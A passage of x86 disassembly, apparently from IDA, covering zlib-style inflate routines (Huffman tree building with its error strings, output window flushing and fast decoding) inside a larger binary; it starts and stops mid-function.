mov edx, [ebp+var_E4]
mov eax, [ebp+edx*4+var_94]
mov ecx, [ebp+var_F4]
mov edx, [ebp+var_14]
mov [eax+ecx*8], edx
mov edx, [ebp+var_10]
mov [eax+ecx*8+4], edx
jmp short loc_4C78A7
; ---------------------------------------------------------------------------
loc_4C789F: ; CODE XREF: sub_4C71C8+658j
mov eax, [ebp+arg_14]
mov ecx, [ebp+var_8]
mov [eax], ecx
loc_4C78A7: ; CODE XREF: sub_4C71C8+6D5j
jmp loc_4C7671
; ---------------------------------------------------------------------------
loc_4C78AC: ; CODE XREF: sub_4C71C8+4BBj
mov edx, [ebp+var_FC]
sub edx, [ebp+var_9C]
mov byte ptr [ebp+var_14+1], dl
mov eax, [ebp+arg_4]
mov ecx, [ebp+arg_24]
lea edx, [ecx+eax*4]
cmp [ebp+var_4], edx
jb short loc_4C78CF
mov byte ptr [ebp+var_14], 0C0h
jmp short loc_4C792D
; ---------------------------------------------------------------------------
loc_4C78CF: ; CODE XREF: sub_4C71C8+6FFj
mov eax, [ebp+var_4]
mov ecx, [eax]
cmp ecx, [ebp+arg_8]
jnb short loc_4C78FF
mov edx, [ebp+var_4]
cmp dword ptr [edx], 100h
sbb eax, eax
and al, 0A0h
add eax, 60h
mov byte ptr [ebp+var_14], al
mov ecx, [ebp+var_4]
mov edx, [ecx]
mov [ebp+var_10], edx
mov eax, [ebp+var_4]
add eax, 4
mov [ebp+var_4], eax
jmp short loc_4C792D
; ---------------------------------------------------------------------------
loc_4C78FF: ; CODE XREF: sub_4C71C8+70Fj
mov ecx, [ebp+var_4]
mov edx, [ecx]
sub edx, [ebp+arg_8]
mov eax, [ebp+arg_10]
mov ecx, [eax+edx*4]
add ecx, 50h
mov byte ptr [ebp+var_14], cl
mov edx, [ebp+var_4]
mov eax, [edx]
sub eax, [ebp+arg_8]
mov ecx, [ebp+arg_C]
mov edx, [ecx+eax*4]
mov [ebp+var_10], edx
mov eax, [ebp+var_4]
add eax, 4
mov [ebp+var_4], eax
loc_4C792D: ; CODE XREF: sub_4C71C8+705j
; sub_4C71C8+735j
mov ecx, [ebp+var_FC]
sub ecx, [ebp+var_9C]
mov edx, 1
shl edx, cl
mov [ebp+var_94], edx
mov eax, [ebp+var_EC]
mov ecx, [ebp+var_9C]
shr eax, cl
mov [ebp+var_F4], eax
jmp short loc_4C796E
; ---------------------------------------------------------------------------
loc_4C795C: ; CODE XREF: sub_4C71C8+7CAj
mov ecx, [ebp+var_F4]
add ecx, [ebp+var_94]
mov [ebp+var_F4], ecx
loc_4C796E: ; CODE XREF: sub_4C71C8+792j
mov edx, [ebp+var_F4]
cmp edx, [ebp+var_F0]
jnb short loc_4C7994
mov eax, [ebp+var_F4]
mov ecx, [ebp+var_8]
mov edx, [ebp+var_14]
mov [ecx+eax*8], edx
mov edx, [ebp+var_10]
mov [ecx+eax*8+4], edx
jmp short loc_4C795C
; ---------------------------------------------------------------------------
loc_4C7994: ; CODE XREF: sub_4C71C8+7B2j
mov ecx, [ebp+var_FC]
sub ecx, 1
mov eax, 1
shl eax, cl
mov [ebp+var_F4], eax
jmp short loc_4C79BA
; ---------------------------------------------------------------------------
loc_4C79AC: ; CODE XREF: sub_4C71C8+814j
mov ecx, [ebp+var_F4]
shr ecx, 1
mov [ebp+var_F4], ecx
loc_4C79BA: ; CODE XREF: sub_4C71C8+7E2j
mov edx, [ebp+var_EC]
and edx, [ebp+var_F4]
test edx, edx
jz short loc_4C79DE
mov eax, [ebp+var_EC]
xor eax, [ebp+var_F4]
mov [ebp+var_EC], eax
jmp short loc_4C79AC
; ---------------------------------------------------------------------------
loc_4C79DE: ; CODE XREF: sub_4C71C8+800j
mov ecx, [ebp+var_EC]
xor ecx, [ebp+var_F4]
mov [ebp+var_EC], ecx
mov edx, 1
mov ecx, [ebp+var_9C]
shl edx, cl
sub edx, 1
mov [ebp+var_F8], edx
loc_4C7A06: ; CODE XREF: sub_4C71C8+890j
mov eax, [ebp+var_EC]
and eax, [ebp+var_F8]
mov ecx, [ebp+var_E4]
cmp eax, [ebp+ecx*4+var_E0]
jz short loc_4C7A5A
mov edx, [ebp+var_E4]
sub edx, 1
mov [ebp+var_E4], edx
mov eax, [ebp+var_9C]
sub eax, [ebp+var_100]
mov [ebp+var_9C], eax
mov edx, 1
mov ecx, [ebp+var_9C]
shl edx, cl
sub edx, 1
mov [ebp+var_F8], edx
jmp short loc_4C7A06
; ---------------------------------------------------------------------------
loc_4C7A5A: ; CODE XREF: sub_4C71C8+857j
jmp loc_4C765D
; ---------------------------------------------------------------------------
loc_4C7A5F: ; CODE XREF: sub_4C71C8+4A3j
jmp loc_4C762F
; ---------------------------------------------------------------------------
loc_4C7A64: ; CODE XREF: sub_4C71C8+482j
cmp [ebp+var_E8], 0
jz short loc_4C7A82
cmp [ebp+var_A0], 1
jz short loc_4C7A82
mov [ebp+var_108], 0FFFFFFFBh
jmp short loc_4C7A8C
; ---------------------------------------------------------------------------
loc_4C7A82: ; CODE XREF: sub_4C71C8+8A3j
; sub_4C71C8+8ACj
mov [ebp+var_108], 0
loc_4C7A8C: ; CODE XREF: sub_4C71C8+8B8j
mov eax, [ebp+var_108]
loc_4C7A92: ; CODE XREF: sub_4C71C8+190j
; sub_4C71C8+2C5j ...
mov esp, ebp
pop ebp
retn
sub_4C71C8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4C7A96 proc near ; CODE XREF: sub_4C4F0F+F0Cp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_8], 0
push 4
push 120h
mov eax, [ebp+arg_20]
mov ecx, [eax+28h]
push ecx
mov edx, [ebp+arg_20]
call dword ptr [edx+20h]
add esp, 0Ch
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_4C7ACD
mov eax, 0FFFFFFFCh
jmp loc_4C7C17
; ---------------------------------------------------------------------------
loc_4C7ACD: ; CODE XREF: sub_4C7A96+2Bj
mov eax, [ebp+var_C]
push eax
lea ecx, [ebp+var_8]
push ecx
mov edx, [ebp+arg_1C]
push edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_14]
push ecx
push offset dword_4F2F84
push offset dword_4F2F08
push 101h
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+arg_8]
push eax
call sub_4C71C8
add esp, 28h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_4C7B11
mov ecx, [ebp+arg_C]
cmp dword ptr [ecx], 0
jnz short loc_4C7B56
loc_4C7B11: ; CODE XREF: sub_4C7A96+71j
cmp [ebp+var_4], 0FFFFFFFDh
jnz short loc_4C7B23
mov edx, [ebp+arg_20]
mov dword ptr [edx+18h], offset aOversubscrib_0 ; "oversubscribed literal/length tree"
jmp short loc_4C7B3A
; ---------------------------------------------------------------------------
loc_4C7B23: ; CODE XREF: sub_4C7A96+7Fj
cmp [ebp+var_4], 0FFFFFFFCh
jz short loc_4C7B3A
mov eax, [ebp+arg_20]
mov dword ptr [eax+18h], offset aIncompleteLite ; "incomplete literal/length tree"
mov [ebp+var_4], 0FFFFFFFDh
loc_4C7B3A: ; CODE XREF: sub_4C7A96+8Bj
; sub_4C7A96+91j
mov ecx, [ebp+var_C]
push ecx
mov edx, [ebp+arg_20]
mov eax, [edx+28h]
push eax
mov ecx, [ebp+arg_20]
call dword ptr [ecx+24h]
add esp, 8
mov eax, [ebp+var_4]
jmp loc_4C7C17
; ---------------------------------------------------------------------------
loc_4C7B56: ; CODE XREF: sub_4C7A96+79j
mov edx, [ebp+var_C]
push edx
lea eax, [ebp+var_8]
push eax
mov ecx, [ebp+arg_1C]
push ecx
mov edx, [ebp+arg_10]
push edx
mov eax, [ebp+arg_18]
push eax
push offset dword_4F3078
push offset dword_4F3000
push 0
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+arg_8]
lea ecx, [eax+edx*4]
push ecx
call sub_4C71C8
add esp, 28h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_4C7BA6
mov edx, [ebp+arg_10]
cmp dword ptr [edx], 0
jnz short loc_4C7C01
cmp [ebp+arg_0], 101h
jbe short loc_4C7C01
loc_4C7BA6: ; CODE XREF: sub_4C7A96+FDj
cmp [ebp+var_4], 0FFFFFFFDh
jnz short loc_4C7BB8
mov eax, [ebp+arg_20]
mov dword ptr [eax+18h], offset aOversubscrib_1 ; "oversubscribed distance tree"
jmp short loc_4C7BE8
; ---------------------------------------------------------------------------
loc_4C7BB8: ; CODE XREF: sub_4C7A96+114j
cmp [ebp+var_4], 0FFFFFFFBh
jnz short loc_4C7BD1
mov ecx, [ebp+arg_20]
mov dword ptr [ecx+18h], offset aIncompleteDist ; "incomplete distance tree"
mov [ebp+var_4], 0FFFFFFFDh
jmp short loc_4C7BE8
; ---------------------------------------------------------------------------
loc_4C7BD1: ; CODE XREF: sub_4C7A96+126j
cmp [ebp+var_4], 0FFFFFFFCh
jz short loc_4C7BE8
mov edx, [ebp+arg_20]
mov dword ptr [edx+18h], offset aEmptyDistanceT ; "empty distance tree with lengths"
mov [ebp+var_4], 0FFFFFFFDh
loc_4C7BE8: ; CODE XREF: sub_4C7A96+120j
; sub_4C7A96+139j ...
mov eax, [ebp+var_C]
push eax
mov ecx, [ebp+arg_20]
mov edx, [ecx+28h]
push edx
mov eax, [ebp+arg_20]
call dword ptr [eax+24h]
add esp, 8
mov eax, [ebp+var_4]
jmp short loc_4C7C17
; ---------------------------------------------------------------------------
loc_4C7C01: ; CODE XREF: sub_4C7A96+105j
; sub_4C7A96+10Ej
mov ecx, [ebp+var_C]
push ecx
mov edx, [ebp+arg_20]
mov eax, [edx+28h]
push eax
mov ecx, [ebp+arg_20]
call dword ptr [ecx+24h]
add esp, 8
xor eax, eax
loc_4C7C17: ; CODE XREF: sub_4C7A96+32j
; sub_4C7A96+BBj ...
mov esp, ebp
pop ebp
retn
sub_4C7A96 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4C7C1B proc near ; CODE XREF: sub_4C4F0F+1B3p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov ecx, dword_4EE008
mov [eax], ecx
mov edx, [ebp+arg_4]
mov eax, dword_4EE00C
mov [edx], eax
mov ecx, [ebp+arg_8]
mov dword ptr [ecx], offset dword_4EE010
mov edx, [ebp+arg_C]
mov dword ptr [edx], offset dword_4EF010
xor eax, eax
pop ebp
retn
sub_4C7C1B endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4C7C50 proc near ; CODE XREF: sub_4C4F0F+F0p
; sub_4C4F0F+23Bp ...
var_10 = dword ptr -10h
Size = dword ptr -0Ch
Src = dword ptr -8
Dst = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
mov ecx, [eax+0Ch]
mov [ebp+Dst], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+30h]
mov [ebp+Src], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+Src]
cmp edx, [ecx+34h]
ja short loc_4C7C7E
mov eax, [ebp+arg_0]
mov ecx, [eax+34h]
mov [ebp+var_10], ecx
jmp short loc_4C7C87
; ---------------------------------------------------------------------------
loc_4C7C7E: ; CODE XREF: sub_4C7C50+21j
mov edx, [ebp+arg_0]
mov eax, [edx+2Ch]
mov [ebp+var_10], eax
loc_4C7C87: ; CODE XREF: sub_4C7C50+2Cj
mov ecx, [ebp+var_10]
sub ecx, [ebp+Src]
mov [ebp+Size], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+Size]
cmp eax, [edx+10h]
jbe short loc_4C7CA4
mov ecx, [ebp+arg_4]
mov edx, [ecx+10h]
mov [ebp+Size], edx
loc_4C7CA4: ; CODE XREF: sub_4C7C50+49j
cmp [ebp+Size], 0
jz short loc_4C7CB7
cmp [ebp+arg_8], 0FFFFFFFBh
jnz short loc_4C7CB7
mov [ebp+arg_8], 0
loc_4C7CB7: ; CODE XREF: sub_4C7C50+58j
; sub_4C7C50+5Ej
mov eax, [ebp+arg_4]
mov ecx, [eax+10h]
sub ecx, [ebp+Size]
mov edx, [ebp+arg_4]
mov [edx+10h], ecx
mov eax, [ebp+arg_4]
mov ecx, [eax+14h]
add ecx, [ebp+Size]
mov edx, [ebp+arg_4]
mov [edx+14h], ecx
mov eax, [ebp+arg_0]
cmp dword ptr [eax+38h], 0
jz short loc_4C7D08
mov ecx, [ebp+Size]
push ecx
mov edx, [ebp+Src]
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+3Ch]
push ecx
mov edx, [ebp+arg_0]
call dword ptr [edx+38h]
add esp, 0Ch
mov ecx, [ebp+arg_0]
mov [ecx+3Ch], eax
mov edx, [ebp+arg_4]
mov eax, [ebp+arg_0]
mov ecx, [eax+3Ch]
mov [edx+30h], ecx
loc_4C7D08: ; CODE XREF: sub_4C7C50+8Cj
mov edx, [ebp+Size]
push edx ; Size
mov eax, [ebp+Src]
push eax ; Src
mov ecx, [ebp+Dst]
push ecx ; Dst
call _memcpy_1
add esp, 0Ch
mov edx, [ebp+Dst]
add edx, [ebp+Size]
mov [ebp+Dst], edx
mov eax, [ebp+Src]
add eax, [ebp+Size]
mov [ebp+Src], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+Src]
cmp edx, [ecx+2Ch]
jnz loc_4C7E0A
mov eax, [ebp+arg_0]
mov ecx, [eax+28h]
mov [ebp+Src], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+arg_0]
mov ecx, [edx+34h]
cmp ecx, [eax+2Ch]
jnz short loc_4C7D60
mov edx, [ebp+arg_0]
mov eax, [ebp+arg_0]
mov ecx, [eax+28h]
mov [edx+34h], ecx
loc_4C7D60: ; CODE XREF: sub_4C7C50+102j
mov edx, [ebp+arg_0]
mov eax, [edx+34h]
sub eax, [ebp+Src]
mov [ebp+Size], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+Size]
cmp edx, [ecx+10h]
jbe short loc_4C7D80
mov eax, [ebp+arg_4]
mov ecx, [eax+10h]
mov [ebp+Size], ecx
loc_4C7D80: ; CODE XREF: sub_4C7C50+125j
cmp [ebp+Size], 0
jz short loc_4C7D93
cmp [ebp+arg_8], 0FFFFFFFBh
jnz short loc_4C7D93
mov [ebp+arg_8], 0
loc_4C7D93: ; CODE XREF: sub_4C7C50+134j
; sub_4C7C50+13Aj
mov edx, [ebp+arg_4]
mov eax, [edx+10h]
sub eax, [ebp+Size]
mov ecx, [ebp+arg_4]
mov [ecx+10h], eax
mov edx, [ebp+arg_4]
mov eax, [edx+14h]
add eax, [ebp+Size]
mov ecx, [ebp+arg_4]
mov [ecx+14h], eax
mov edx, [ebp+arg_0]
cmp dword ptr [edx+38h], 0
jz short loc_4C7DE4
mov eax, [ebp+Size]
push eax
mov ecx, [ebp+Src]
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+3Ch]
push eax
mov ecx, [ebp+arg_0]
call dword ptr [ecx+38h]
add esp, 0Ch
mov edx, [ebp+arg_0]
mov [edx+3Ch], eax
mov eax, [ebp+arg_4]
mov ecx, [ebp+arg_0]
mov edx, [ecx+3Ch]
mov [eax+30h], edx
loc_4C7DE4: ; CODE XREF: sub_4C7C50+168j
mov eax, [ebp+Size]
push eax ; Size
mov ecx, [ebp+Src]
push ecx ; Src
mov edx, [ebp+Dst]
push edx ; Dst
call _memcpy_1
add esp, 0Ch
mov eax, [ebp+Dst]
add eax, [ebp+Size]
mov [ebp+Dst], eax
mov ecx, [ebp+Src]
add ecx, [ebp+Size]
mov [ebp+Src], ecx
loc_4C7E0A: ; CODE XREF: sub_4C7C50+E7j
mov edx, [ebp+arg_4]
mov eax, [ebp+Dst]
mov [edx+0Ch], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+Src]
mov [ecx+30h], edx
mov eax, [ebp+arg_8]
mov esp, ebp
pop ebp
retn
sub_4C7C50 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4C7E30 proc near ; CODE XREF: sub_4C63A5+113p
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 48h
mov eax, [ebp+arg_14]
mov ecx, [eax]
mov [ebp+var_4], ecx
mov edx, [ebp+arg_14]
mov eax, [edx+4]
mov [ebp+var_34], eax
mov ecx, [ebp+arg_10]
mov edx, [ecx+20h]
mov [ebp+var_10], edx
mov eax, [ebp+arg_10]
mov ecx, [eax+1Ch]
mov [ebp+var_28], ecx
mov edx, [ebp+arg_10]
mov eax, [edx+34h]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_10]
mov edx, [ebp+var_8]
cmp edx, [ecx+30h]
jnb short loc_4C7E7E
mov eax, [ebp+arg_10]
mov ecx, [eax+30h]
sub ecx, [ebp+var_8]
sub ecx, 1
mov [ebp+var_38], ecx
jmp short loc_4C7E8A
; ---------------------------------------------------------------------------
loc_4C7E7E: ; CODE XREF: sub_4C7E30+3Bj
mov edx, [ebp+arg_10]
mov eax, [edx+2Ch]
sub eax, [ebp+var_8]
mov [ebp+var_38], eax
loc_4C7E8A: ; CODE XREF: sub_4C7E30+4Cj
mov ecx, [ebp+var_38]
mov [ebp+var_2C], ecx
mov edx, [ebp+arg_0]
mov eax, dword_4EF200[edx*4]
mov [ebp+var_24], eax
mov ecx, [ebp+arg_4]
mov edx, dword_4EF200[ecx*4]
mov [ebp+var_30], edx
loc_4C7EAA: ; CODE XREF: sub_4C7E30+AFj
; sub_4C7E30+6F8j
cmp [ebp+var_28], 14h
jnb short loc_4C7EE1
mov eax, [ebp+var_34]
sub eax, 1
mov [ebp+var_34], eax
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
mov ecx, [ebp+var_28]
shl edx, cl
mov eax, [ebp+var_10]
or eax, edx
mov [ebp+var_10], eax
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_28]
add edx, 8
mov [ebp+var_28], edx
jmp short loc_4C7EAA
; ---------------------------------------------------------------------------
loc_4C7EE1: ; CODE XREF: sub_4C7E30+7Ej
mov eax, [ebp+var_10]
and eax, [ebp+var_24]
mov ecx, [ebp+arg_8]
lea edx, [ecx+eax*8]
mov [ebp+var_1C], edx
mov eax, [ebp+var_1C]
xor ecx, ecx
mov cl, [eax]
mov [ebp+var_20], ecx
cmp [ebp+var_20], 0
jnz short loc_4C7F44
mov edx, [ebp+var_1C]
xor eax, eax
mov al, [edx+1]
mov ecx, eax
mov edx, [ebp+var_10]
shr edx, cl
mov [ebp+var_10], edx
mov eax, [ebp+var_1C]
xor ecx, ecx
mov cl, [eax+1]
mov edx, [ebp+var_28]
sub edx, ecx
mov [ebp+var_28], edx
mov eax, [ebp+var_8]
mov ecx, [ebp+var_1C]
mov dl, [ecx+4]
mov [eax], dl
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
mov ecx, [ebp+var_2C]
sub ecx, 1
mov [ebp+var_2C], ecx
jmp loc_4C851B
; ---------------------------------------------------------------------------
loc_4C7F44: ; CODE XREF: sub_4C7E30+CEj
; sub_4C7E30+6E5j
mov edx, [ebp+var_1C]
xor eax, eax
mov al, [edx+1]
mov ecx, eax
mov edx, [ebp+var_10]
shr edx, cl
mov [ebp+var_10], edx
mov eax, [ebp+var_1C]
xor ecx, ecx
mov cl, [eax+1]
mov edx, [ebp+var_28]
sub edx, ecx
mov [ebp+var_28], edx
mov eax, [ebp+var_20]
and eax, 10h
test eax, eax
jz loc_4C833C
mov ecx, [ebp+var_20]
and ecx, 0Fh
mov [ebp+var_20], ecx
mov edx, [ebp+var_20]
mov eax, [ebp+var_10]
and eax, dword_4EF200[edx*4]
mov ecx, [ebp+var_1C]
mov edx, [ecx+4]
add edx, eax
mov [ebp+var_14], edx
mov eax, [ebp+var_10]
mov ecx, [ebp+var_20]
shr eax, cl
mov [ebp+var_10], eax
mov ecx, [ebp+var_28]
sub ecx, [ebp+var_20]
mov [ebp+var_28], ecx
loc_4C7FA9: ; CODE XREF: sub_4C7E30+1B0j
cmp [ebp+var_28], 0Fh
jnb short loc_4C7FE2
mov edx, [ebp+var_34]
sub edx, 1
mov [ebp+var_34], edx
mov eax, [ebp+var_4]
xor ecx, ecx
mov cl, [eax]
mov edx, ecx
mov ecx, [ebp+var_28]
shl edx, cl
mov eax, [ebp+var_10]
or eax, edx
mov [ebp+var_10], eax
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_28]
add edx, 8
mov [ebp+var_28], edx
jmp short loc_4C7FA9
; ---------------------------------------------------------------------------
loc_4C7FE2: ; CODE XREF: sub_4C7E30+17Dj
mov eax, [ebp+var_10]
and eax, [ebp+var_30]
mov ecx, [ebp+arg_C]
lea edx, [ecx+eax*8]
mov [ebp+var_1C], edx
mov eax, [ebp+var_1C]
xor ecx, ecx
mov cl, [eax]
mov [ebp+var_20], ecx
loc_4C7FFB: ; CODE XREF: sub_4C7E30+501j
mov edx, [ebp+var_1C]
xor eax, eax
mov al, [edx+1]
mov ecx, eax
mov edx, [ebp+var_10]
shr edx, cl
mov [ebp+var_10], edx
mov eax, [ebp+var_1C]
xor ecx, ecx
mov cl, [eax+1]
mov edx, [ebp+var_28]
sub edx, ecx
mov [ebp+var_28], edx
mov eax, [ebp+var_20]
and eax, 10h
test eax, eax
jz loc_4C8248
mov ecx, [ebp+var_20]
and ecx, 0Fh
mov [ebp+var_20], ecx
loc_4C8034: ; CODE XREF: sub_4C7E30+23Bj
mov edx, [ebp+var_28]
cmp edx, [ebp+var_20]
jnb short loc_4C806D
mov eax, [ebp+var_34]
sub eax, 1
mov [ebp+var_34], eax
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
mov ecx, [ebp+var_28]
shl edx, cl
mov eax, [ebp+var_10]
or eax, edx
mov [ebp+var_10], eax
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_28]
add edx, 8
mov [ebp+var_28], edx
jmp short loc_4C8034
; ---------------------------------------------------------------------------
loc_4C806D: ; CODE XREF: sub_4C7E30+20Aj
mov eax, [ebp+var_20]
mov ecx, [ebp+var_10]
and ecx, dword_4EF200[eax*4]
mov edx, [ebp+var_1C]
mov eax, [edx+4]
add eax, ecx
mov [ebp+var_18], eax
mov edx, [ebp+var_10]
mov ecx, [ebp+var_20]
shr edx, cl
mov [ebp+var_10], edx
mov eax, [ebp+var_28]
sub eax, [ebp+var_20]
mov [ebp+var_28], eax
mov ecx, [ebp+var_2C]
sub ecx, [ebp+var_14]
mov [ebp+var_2C], ecx
mov edx, [ebp+var_8]
sub edx, [ebp+var_18]
mov [ebp+var_C], edx
mov eax, [ebp+arg_10]
mov ecx, [ebp+var_C]
cmp ecx, [eax+28h]
jnb loc_4C81CE
loc_4C80BA: ; CODE XREF: sub_4C7E30+2A7j
mov edx, [ebp+arg_10]
mov eax, [ebp+arg_10]
mov ecx, [edx+2Ch]
sub ecx, [eax+28h]
mov edx, [ebp+var_C]
add edx, ecx
mov [ebp+var_C], edx
mov eax, [ebp+arg_10]
mov ecx, [ebp+var_C]
cmp ecx, [eax+28h]
jb short loc_4C80BA
mov edx, [ebp+arg_10]
mov eax, [edx+2Ch]
sub eax, [ebp+var_C]
mov [ebp+var_20], eax
mov ecx, [ebp+var_14]
cmp ecx, [ebp+var_20]
jbe short loc_4C8157
mov edx, [ebp+var_14]
sub edx, [ebp+var_20]
mov [ebp+var_14], edx
loc_4C80F6: ; CODE XREF: sub_4C7E30+2EFj
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
mov edx, [ebp+var_20]
sub edx, 1
mov [ebp+var_20], edx
cmp [ebp+var_20], 0
jnz short loc_4C80F6
mov eax, [ebp+arg_10]
mov ecx, [eax+28h]
mov [ebp+var_C], ecx
loc_4C812A: ; CODE XREF: sub_4C7E30+323j
mov edx, [ebp+var_8]
mov eax, [ebp+var_C]
mov cl, [eax]
mov [edx], cl
mov edx, [ebp+var_8]
add edx, 1
mov [ebp+var_8], edx
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
mov ecx, [ebp+var_14]
sub ecx, 1
mov [ebp+var_14], ecx
cmp [ebp+var_14], 0
jnz short loc_4C812A
jmp short loc_4C81CC
; ---------------------------------------------------------------------------
loc_4C8157: ; CODE XREF: sub_4C7E30+2BBj
mov edx, [ebp+var_8]
mov eax, [ebp+var_C]
mov cl, [eax]
mov [edx], cl
mov edx, [ebp+var_8]
add edx, 1
mov [ebp+var_8], edx
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
mov ecx, [ebp+var_14]
sub ecx, 1
mov [ebp+var_14], ecx
mov edx, [ebp+var_8]
mov eax, [ebp+var_C]
mov cl, [eax]
mov [edx], cl
mov edx, [ebp+var_8]
add edx, 1
mov [ebp+var_8], edx
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
mov ecx, [ebp+var_14]
sub ecx, 1
mov [ebp+var_14], ecx
loc_4C81A1: ; CODE XREF: sub_4C7E30+39Aj
mov edx, [ebp+var_8]
mov eax, [ebp+var_C]
mov cl, [eax]
mov [edx], cl
mov edx, [ebp+var_8]
add edx, 1
mov [ebp+var_8], edx
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
mov ecx, [ebp+var_14]
sub ecx, 1
mov [ebp+var_14], ecx
cmp [ebp+var_14], 0
jnz short loc_4C81A1
loc_4C81CC: ; CODE XREF: sub_4C7E30+325j
jmp short loc_4C8243
; ---------------------------------------------------------------------------
loc_4C81CE: ; CODE XREF: sub_4C7E30+284j
mov edx, [ebp+var_8]
mov eax, [ebp+var_C]
mov cl, [eax]
mov [edx], cl
mov edx, [ebp+var_8]
add edx, 1
mov [ebp+var_8], edx
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
mov ecx, [ebp+var_14]
sub ecx, 1
mov [ebp+var_14], ecx
mov edx, [ebp+var_8]
mov eax, [ebp+var_C]
mov cl, [eax]
mov [edx], cl
mov edx, [ebp+var_8]
add edx, 1
mov [ebp+var_8], edx
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
mov ecx, [ebp+var_14]
sub ecx, 1
mov [ebp+var_14], ecx
loc_4C8218: ; CODE XREF: sub_4C7E30+411j
mov edx, [ebp+var_8]
mov eax, [ebp+var_C]
mov cl, [eax]
mov [edx], cl
mov edx, [ebp+var_8]
add edx, 1
mov [ebp+var_8], edx
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
mov ecx, [ebp+var_14]
sub ecx, 1
mov [ebp+var_14], ecx
cmp [ebp+var_14], 0
jnz short loc_4C8218
loc_4C8243: ; CODE XREF: sub_4C7E30:loc_4C81CCj
jmp loc_4C8337
; ---------------------------------------------------------------------------
loc_4C8248: ; CODE XREF: sub_4C7E30+1F5j
mov edx, [ebp+var_20]
and edx, 40h
test edx, edx
jnz short loc_4C8286
mov eax, [ebp+var_1C]
mov ecx, [eax+4]
mov edx, [ebp+var_1C]
lea eax, [edx+ecx*8]
mov [ebp+var_1C], eax
mov ecx, [ebp+var_20]
mov edx, [ebp+var_10]
and edx, dword_4EF200[ecx*4]
mov eax, [ebp+var_1C]
lea ecx, [eax+edx*8]
mov [ebp+var_1C], ecx
mov edx, [ebp+var_1C]
xor eax, eax
mov al, [edx]
mov [ebp+var_20], eax
jmp loc_4C832A
; ---------------------------------------------------------------------------
loc_4C8286: ; CODE XREF: sub_4C7E30+420j
mov ecx, [ebp+arg_14]
mov dword ptr [ecx+18h], offset aInvalidDista_0 ; "invalid distance code"
mov edx, [ebp+arg_14]
mov eax, [edx+4]
sub eax, [ebp+var_34]
mov [ebp+var_14], eax
mov ecx, [ebp+var_28]
shr ecx, 3
cmp ecx, [ebp+var_14]
jnb short loc_4C82B2
mov edx, [ebp+var_28]
shr edx, 3
mov [ebp+var_3C], edx
jmp short loc_4C82B8
; ---------------------------------------------------------------------------
loc_4C82B2: ; CODE XREF: sub_4C7E30+475j
mov eax, [ebp+var_14]
mov [ebp+var_3C], eax
loc_4C82B8: ; CODE XREF: sub_4C7E30+480j
mov ecx, [ebp+var_3C]
mov [ebp+var_14], ecx
